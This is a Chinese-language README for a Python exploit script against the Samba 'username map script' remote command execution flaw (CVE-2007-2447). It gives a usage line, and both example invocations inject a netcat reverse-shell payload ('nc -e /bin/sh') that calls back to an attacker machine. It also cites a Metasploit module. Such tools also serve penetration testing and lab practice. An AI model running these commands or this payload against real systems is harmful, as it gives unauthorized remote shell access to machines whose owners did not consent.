CVE-2007-2447 - Python 实现

描述

针对 Samba 3.0.20 < 3.0.25rc3（CVE-2007-2447）的“Username”映射脚本 RCE 漏洞利用的 Python 实现。

用法

python3 smbExploit.py <IP> <PORT> <PAYLOAD>

• IP - 远程机器的 IP 地址。
• PORT - （可选）SMB 运行的端口。
• PAYLOAD - 要在远程机器上执行的有效载荷，例如反弹 shell。

示例：

python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444'

python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444'

参考资料

CVE-2007-2447：远程命令注入漏洞

Samba 3.0.20 < 3.0.25rc3 - “Username”映射脚本命令执行（Metasploit）